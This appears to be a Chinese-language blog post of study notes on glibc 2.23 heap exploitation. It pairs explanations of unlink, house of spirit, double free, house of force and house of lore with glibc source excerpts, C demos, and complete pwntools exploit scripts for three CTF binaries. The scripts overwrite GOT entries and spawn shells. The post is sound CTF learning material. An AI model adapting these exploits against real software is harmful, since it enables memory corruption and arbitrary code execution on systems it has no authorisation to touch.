heap_details

image-20200116182337942

堆利用学习

Unlink

//glibc 2.23 unlink define:
#define unlink(AV, P, BK, FD)                                                                                              
  {                                                                                                                         
    FD = P->fd;                                                                                                             
    BK = P->bk;                                                                                                             
    if (__builtin_expect(FD->bk != P || BK->fd != P, 0))
      malloc_printerr(check_action, "corrupted double-linked list", P, AV);
    else
    { 
      FD->bk = BK;
      BK->fd = FD;  
         ...
        ....
    }

//glibc 2.27
    #define unlink(AV, P, BK, FD)
  {  
    if (__builtin_expect(chunksize(P) != prev_size(next_chunk(P)), 0))
      malloc_printerr("corrupted size vs. prev_size"); 
    FD = P->fd;                      
    BK = P->bk;  
    if (__builtin_expect(FD->bk != P || BK->fd != P, 0))
      malloc_printerr("corrupted double-linked list");
    else
    {   
      FD->bk = BK;
      BK->fd = FD;  
    }

Unlink利用原理是通过堆溢出写入的字节覆盖后一个chunk,修改了nextchunk->size的prev_in_use为0,free(small_chunk or large_chunk)的时候,就会unlik current chunk。控制P->fd 和 P->bk 为合适的字节,在合适的情况下可以达到任意地址读写 ,威力巨大。

一种情况是:

有一个chunk list,记录一下堆的指针。

X 在 chunk_list 的地址区间中,*X = P。

改P->fd = X-0x18; P->bk = X-0x10;

执行unlink(P)时,FD = X-0x18; BK = X-0x10;

FD->bk = BK. <=> *(X-0x18+0x18) = *(X)= X-0x10;

BK->fd = FD <=> *(x-0x10+0x10) = *(X) = X-0x18;

这样在chunk_list中的X地址构造了伪heap chunk,通过程序的功能(比如edit or change 函数,堆题目一般有这些功能)。通过edite修改*(X)的内容后,chunk_list的内容也被修改,而且内容任意改写。再通过edit可以实现任意地址写入。后续就是leak @got,为所欲为。

2014 HITCON stkof

glibc为2.23

逆向分析,满足上述利用条件。

#!/usr/bin/env python
from pwn import *
bn = process('./stkof')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',False)
puts_libc = libc.symbols['puts']

context.terminal = ['tmux','splitw','-h']
#gdb.attach(bn,'b *0x0400B07')
#context.log_level = 'debug'

def add(size):
    bn.sendline('1');sleep(0.05)
    bn.sendline(str(size));sleep(0.05)

def delete(idx):
    bn.sendline('3');sleep(0.05)
    bn.sendline(str(idx));sleep(0.05)

def edit(idx,content):
    bn.sendline('2');sleep(0.05)
    bn.sendline(str(idx));sleep(0.05)
    bn.sendline(str(len(content)));sleep(0.05)
    bn.send(content);sleep(0.05)

def show(idx):
    bn.sendline('4');sleep(0.05)
    bn.sendline(str(idx));sleep(0.05)

pool = 0x00602140+0x8*4 #4
x = pool
fd = x - 0x18
bk = x-0x10
print(hex(fd),hex(bk))

for i in range(4):
    add(0x30)

add(0xf0)

puts_got = 0x602020
free_got = 0x602018
puts_plt = 0x400760

payload = p64(0)+p64(0)+p64(fd)+p64(bk)+'a'*0x10+p64(0x30)+'\x00'
edit(4,payload)

delete(5)
payload = p64(free_got)+p64(puts_got)
edit(4,payload)
edit(1,p64(puts_plt))
delete(2)
for i in range(9):
    bn.recvuntil('OK\n')
real_puts = u64(bn.recvn(6)+'\x00'*2)
print(hex(real_puts))
base = real_puts-puts_libc
one = base + 0xf1147
edit(1,p64(one))
delete(3)

bn.interactive()

House of spirit

binary : oreo (ctf-wiki) ;

download link: https://github.com/primelyw/pwn

运行ELF,初步观察:

Welcome to the OREO Original Rifle Ecommerce Online System!

     ,______________________________________
    |_________________,----------._ [____]  -,__  __....-----=====
                   (_(||||||||||||)___________/                   |
                      `----------'   OREO [ ))"-,                   |
                                           ""    `,  _,--....___    |
                                                   `/           """"

What would you like to do?

1. Add new rifle
2. Show added rifles
3. Order selected rifles
4. Leave a Message with your Order
5. Show current stats
6. Exit!
Action: 

Ida 分析:

.bss:0804A2A0 order_cnt       dd ?                    ; DATA XREF: func3+5A↑r
.bss:0804A2A0                                         ; func3+62↑w ...
.bss:0804A2A4 rifle_cnt       dd ?                    ; DATA XREF: func1+C5↑r
.bss:0804A2A4                                         ; func1+CD↑w ...
.bss:0804A2A8 ; char *dword_804A2A8
.bss:0804A2A8 dword_804A2A8 

0x804A2A0 订单数量

0804A2A4 枪支数量

0804A2A8 地址,留言地址。

增加枪支数量的函数

unsigned int func1()
{
  char *v1; // [esp+18h] [ebp-10h]
  unsigned int v2; // [esp+1Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  v1 = rifle_chunk;
  rifle_chunk = (char *)malloc(0x38u);
  if ( rifle_chunk )
  {
    *((_DWORD *)rifle_chunk + 13) = v1;
    printf("Rifle name: ");
    fgets(rifle_chunk + 25, 56, stdin);
    pro_read(rifle_chunk + 25);
    printf("Rifle description: ");
    fgets(rifle_chunk, 56, stdin);
    pro_read(rifle_chunk);
    ++rifle_cnt;
  }
  else
  {
    puts("Something terrible happened!");
  }
  return __readgsdword(0x14u) ^ v2;
}

0x38大小的chunk。

0~24 description

25~51 name 存在溢出,可以修改 next_ptr

52~56 next_ptr

增加订单,清空枪支数量的函数

unsigned int func3()
{
  char *ptr; // ST18_4
  char *v2; // [esp+14h] [ebp-14h]
  unsigned int v3; // [esp+1Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  v2 = rifle_chunk;
  if ( rifle_cnt )
  {
    while ( v2 )
    {
      ptr = v2;
      v2 = (char *)*((_DWORD *)v2 + 13);
      free(ptr);
    }
    rifle_chunk = 0;
    ++order_cnt;
    puts("Okay order submitted!");
  }
  else
  {
    puts("No rifles to be ordered!");
  }
  return __readgsdword(0x14u) ^ v3;

链表删除枪支,无法 double_free

显示枪支信息的函数

unsigned int func2()
{
  char *i; // [esp+14h] [ebp-14h]
  unsigned int v2; // [esp+1Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  printf("Rifle to be ordered:\n%s\n", "===================================");
  for ( i = rifle_chunk; i; i = (char *)*((_DWORD *)i + 13) )
  {
    printf("Name: %s\n", i + 25);
    printf("Description: %s\n", i);
    puts("===================================");
  }
  return __readgsdword(0x14u) ^ v2;

枪的数据结构 chunk 中的 next_ptr 可以被修改,通过该函数泄漏got地址。

留言函数

unsigned int func4()
{
  unsigned int v0; // ST1C_4

  v0 = __readgsdword(0x14u);
  printf("Enter any notice you'd like to submit with your order: ");
  fgets(dword_804A2A8, 128, stdin);
  pro_read(dword_804A2A8);
  return __readgsdword(0x14u) ^ v0;
}

利用思路:

  1. 通过输入溢出修改枪的结构 next_ptr 为got的地址。计算出system地址
  2. House of spirit 。通过func2将它free掉。目标在得到写入0x804A2A8的权限
  3. 0x804A2A8改写为got地址。通过func4改写got

利用脚本如下:

#coding=utf8

from pwn import * 
p = process('./oreo')

elf = ELF('./oreo')
printf_got = elf.got['printf']
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
strlen_got = elf.got['strlen']
printf_base = libc.symbols['printf']
sys_base = 0x3ada0


def add(name,note):
    #p.recvuntil('Action:')
    sleep(0.001);p.sendline('1');
    #p.recvuntil('Rifle name: ')
    p.sendline(name);sleep(0.001)
    #p.recvuntil('Rifle description: ')
    p.sendline(note);sleep(0.001)
def show():
    p.sendline('2');sleep(0.001)

def order():
    p.sendline('3');sleep(0.001)

def leave_note(note):
    p.sendline('4');sleep(0.001)
    p.sendline(note);sleep(0.001)


add('a'*27+p32(printf_got),'ha')
show()
p.recvuntil('Description: ');p.recvuntil('Description: ')
printf_real = u32(p.recv(4))
print printf_real

for i  in range(0x3f):
    add('a','a')

add('a'*27+p32(0x804A2A8),'hahha')
leave_note((0x20-4) * 'a'+p32(0) + p32(0x40) + p32(0x100))
order()
add('ok',p32(strlen_got)+'hahhaa')
sys_real  = printf_real +sys_base - printf_base;
leave_note(p32(sys_real)+';/bin/sh')
p.interactive()

Double free

binary: noinfoleak (西湖论剑线上赛)

download link: https://github.com/primelyw/pwn

测试fastbin 的大小脚本

#include <stdio.h>
#include <stdlib.h>
int main(){
  for(int size = 1; size<=120; size++ ){
    void *p = malloc(size);
    printf("(%d,0x%llx)\n",size,*((long long *)p-1));
  }
  return 0;
}

运行程序初步观察

root@prime:/ctf/work/pwn# ./noinfoleak 
>1
>3
>4
>5
No Such Choice
>
No Such Choice
>
No Such Choice
>
No Such Choice
>

没有任何可利用的输出。

ida分析

函数 func1 , 16个单元,每个单元为16Bytes,前8Bytes 为note的地址,后8Bytes为note大小。

void sub_40090A()
{
  signed int i; // [rsp+8h] [rbp-8h]
  int v1; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 15; ++i )
  {
    if ( !qword_6010A0[2 * i] )
    {
      putchar(62);
      v1 = readnum();
      if ( v1 > 0 && v1 <= 127 )
      {
        qword_6010A0[2 * i + 1] = (void *)v1;
        qword_6010A0[2 * i] = malloc(v1 + 1);
        putchar(62);
        read(0, qword_6010A0[2 * i], v1);
      }
      return;
    }
  }
}

函数2 ,删除留言 free

void f2()
{
  int v0; // [rsp+Ch] [rbp-4h]

  putchar(62);
  v0 = readnum();
  if ( v0 >= 0 && v0 <= 15 )
    free(qword_6010A0[2 * v0]);
}

函数3 ,修改留言。

{
  signed int result; // eax
  signed int v1; // [rsp+Ch] [rbp-4h]

  putchar(62);
  result = readnum();
  v1 = result;
  if ( result >= 0 && result <= 15 )
  {
    putchar(62);
    result = read(0, qword_6010A0[2 * v1], (size_t)qword_6010A0[2 * v1 + 1]);
  }
  return result;

利用思路:

  1. Double Free 得到 0x6010A0 写权限。
  2. 为所欲为,泄漏got,修改为system。

利用脚本如下:

from pwn import *
p = process('./noinfoleak')
elf = ELF('./noinfoleak')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
free_got = elf.got['free']
read_got  = elf.got['read']
puts_plt = elf.symbols['puts']
read_base = libc.symbols['read']
sys_base = libc.symbols['system']

fake_chunk = 0x601085-8
target = 0x6010a0

def add(sz,cont):
    p.sendafter('>','1')
    p.sendafter('>',str(sz))
    p.sendafter('>',cont)

def delete(idx):
    p.sendafter('>','2')
    p.sendafter('>',str(idx))

def edit(idx,cont):
    p.sendafter('>','3')
    p.sendafter('>',str(idx))
    p.sendafter('>',cont)

add(100,'1') #0
add(100,'2') #1
add(30,'top_chunk_defense') #2
delete(0)
delete(1)
delete(0)
add(100,p64(fake_chunk))#3
add(100,'2')#4
add(100,'1')#5
pay = 'a'*(target-fake_chunk-16)+p64(free_got)+p64(100)+p64(read_got)+p64(100)
add(100,pay)#6
edit(0,p64(puts_plt))
delete(1)
read_real = u64(p.recv(6)+'\x00\x00')
sys_real = read_real + sys_base-read_base
print hex(read_real)
edit(0,p64(sys_real))
edit(2,'/bin/sh\x00')
delete(2)
p.interactive()

glibc-2.23 代码 Check

// malloc
// fastbin 
#define fastbin_index(sz) ((((unsigned int)(sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
if (__builtin_expect(fastbin_index(chunksize(victim)) != idx, 0))
      {
        errstr = "malloc(): memory corruption (fast)";
      errout:
        malloc_printerr(check_action, errstr, chunk2mem(victim), av);
        return NULL;
      }
// smallbins
bck = victim->bk;
      if (__glibc_unlikely(bck->fd != victim))
        {
          errstr = "malloc(): smallbin double linked list corrupted";
          goto errout;
        }
// process unsorted bin;
// victim is the top chunk of unsorted bin.
 if (__builtin_expect(victim->size <= 2 * SIZE_SZ, 0) || __builtin_expect(victim->size > av->system_mem, 0))
        malloc_printerr(check_action, "malloc(): memory corruption",
                        chunk2mem(victim), av);
/* place unsorted bin's chunk in corresponding bin */

// split chunks into victim and remainder chunk.
// push remainder chunk into unsorted bin,there is a check;
bck = unsorted_chunks(av);
          fwd = bck->fd;
          if (__glibc_unlikely(fwd->bk != bck))
          {
            errstr = "malloc(): corrupted unsorted chunks";
            goto errout;
          }
// free
// general check, check chunk pointer and size;
// pinter > (unsigned )-size or misaligned(pointer) ---> printerr
 if (__builtin_expect((uintptr_t)p > (uintptr_t)-size, 0) || __builtin_expect(misaligned_chunk(p), 0))
  {
    errstr = "free(): invalid pointer";
  errout:
    if (!have_lock && locked)
      (void)mutex_unlock(&av->mutex);
    malloc_printerr(check_action, errstr, chunk2mem(p), av);
    return;
  }
if (__glibc_unlikely(size < MINSIZE || !aligned_OK(size)))
  {
    errstr = "free(): invalid size";
    goto errout;
  }

//fastbin check:
//check the size of  victim's next chunk
if (__builtin_expect(chunk_at_offset(p, size)->size <= 2 * SIZE_SZ, 0) || __builtin_expect(chunksize(chunk_at_offset(p, size)) >= av->system_mem, 0))
    {
      if (have_lock || ({
            assert(locked == 0);
            mutex_lock(&av->mutex);
            locked = 1;
            chunk_at_offset(p, size)->size <= 2 * SIZE_SZ || chunksize(chunk_at_offset(p, size)) >= av->system_mem;
          }))
      {
        errstr = "free(): invalid next size (fast)";
        goto errout;
      }
 //double free check (fastbin)
  if (__builtin_expect(old == p, 0))
      {
        errstr = "double free or corruption (fasttop)";
        goto errout;
      }

  // check fastbin top size;
  if (have_lock && old != NULL && __builtin_expect(old_idx != idx, 0))
    {
      errstr = "invalid fastbin entry (free)";
      goto errout;
    }

 /* checks before pushing the chunk into unsorted bin;*/

  // top check:
  if (__glibc_unlikely(p == av->top))
    {
      errstr = "double free or corruption (top)";
      goto errout;
    }

  //
  if (__builtin_expect(contiguous(av) && (char *)nextchunk >= ((char *)av->top + chunksize(av->top)), 0))
    {
      errstr = "double free or corruption (out)";
      goto errout;
    }
 // current chunk is in use.
  if (__glibc_unlikely(!prev_inuse(nextchunk)))
    {
      errstr = "double free or corruption (!prev)";
      goto errout;
    }
  // nextchunk's size must be valid;
  nextsize = chunksize(nextchunk);
    if (__builtin_expect(nextchunk->size <= 2 * SIZE_SZ, 0) || __builtin_expect(nextsize >= av->system_mem, 0))
    {
      errstr = "free(): invalid next size (normal)";
      goto errout;
    }

  // push chunk into unsorted chunk;
   bck = unsorted_chunks(av);
      fwd = bck->fd;
      if (__glibc_unlikely(fwd->bk != bck))
      {
        errstr = "free(): corrupted unsorted chunks";
        goto errout;
      }

malloc.c 源码分析

MALLOC_ALIGNMENT = 2*SIZE_SZ (64 : 8,32 : 4)

MIN_LAEGE_SIZE = 64*MALLOC_ALIGNMENT (64:0x400,32:0x200)

DEFAULT_MXFAST = 64 *SIZE_SZ /4 (64:0x80,32:0x40)

struct malloc_chunk
{

  INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T size;      /* Size in bytes, including overhead. */

  struct malloc_chunk *fd; /* double links -- used only if free. */
  struct malloc_chunk *bk;

  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk *fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk *bk_nextsize;
};
struct malloc_state
{
  /* Serialize access.  */
  mutex_t mutex;

  /* Flags (formerly in max_fast).  */
  int flags;

  /* Fastbins */
  mfastbinptr fastbinsY[NFASTBINS];

  /* Base of the topmost chunk -- not otherwise kept in a bin */
  mchunkptr top;

  /* The remainder from the most recent split of a small request */
  mchunkptr last_remainder;

  /* Normal bins packed as described above */
  mchunkptr bins[NBINS * 2 - 2];

  /* Bitmap of bins */
  unsigned int binmap[BINMAPSIZE];

  /* Linked list */
  struct malloc_state *next;

  /* Linked list for free arenas.  Access to this field is serialized
     by free_list_lock in arena.c.  */
  struct malloc_state *next_free;

  /* Number of threads attached to this arena.  0 if the arena is on
     the free list.  Access to this field is serialized by
     free_list_lock in arena.c.  */
  INTERNAL_SIZE_T attached_threads;

  /* Memory allocated from the system in this arena.  */
  INTERNAL_SIZE_T system_mem;
  INTERNAL_SIZE_T max_system_mem;
};

攻击Demo

double free

#include <stdlib.h>
#include <stdio.h>
int main(){
    printf("Designed by primeleen\n");
    printf("Hello,this double free demo.\n");
    unsigned long long fake = 0x20;

    void *p1 = malloc(10);
    void *p2 = malloc(10);
    free(p1);free(p2); free(p1);

    unsigned long long *  tar = (unsigned long long *)malloc(10);
    *tar = (unsigned long long)((char*)&fake-0x8);

    malloc(10);malloc(10);

    void *victim = malloc(10);
    printf("%p\n",victim);
    return 0;


}

House of force

#include <stdio.h>
#include <stdlib.h>
char victim[20] = "Prime is Here";
int main(){
  printf("%s\n",victim);
  void *p = malloc(0x10);
  void *top_chunk = p+0x20-0x10;
  *(long long *)(top_chunk+8) = -1;
  printf("%llx\n",*(long long *)(top_chunk+8));
  long long request_size = (char*)victim-(char*)top_chunk-0x10-8;
  printf("size:%llx\n",request_size);
  malloc(request_size);
  char *ptr = malloc(0x20);
  printf("Hacked! %s\n",ptr);
  return 0;
}

House of spirit

#include <stdio.h>
#include <stdlib.h>
int main(){
    long long * fake[20];
    malloc(0x30);
    fake[1] = fake[9] = (long long *)0x40;
    free((long long *)&fake[2]);
    void *p = malloc(0x30);
    printf("%p",p);
    return 0;
}

House of lore

#include <stdlib.h>
#include <stdio.h>
typedef unsigned long long ull;
typedef struct small_chunk{
    ull pre_size;
    ull size;
    struct small_chunk *fd;
    struct small_chunk *bk;
    char buf[0x100];
}small_chunk;

int main(){
    small_chunk fake,sub_fake;
    printf("fake_addr:%p\n",&fake);
    void *ptr= malloc(0x100);
    small_chunk * victim;
    malloc(0x20);

    free(ptr);

    malloc(0x120);
    victim = (small_chunk*)(ptr-0x10);
    victim->bk = &fake;
    fake.fd = victim;

    fake.bk = &sub_fake;
    sub_fake.fd = &fake;
    malloc(0x100);
    victim = malloc(0x100);
    printf("%p\n",victim);
    return 0;
}

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论。

文章标题:heap_details

本文作者:枫云李

发布时间:2019-10-20, 00:00:00

最后更新:2020-04-02, 01:02:33

原始链接:https://primelyw.github.io/2019/10/20/heap_details/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录
github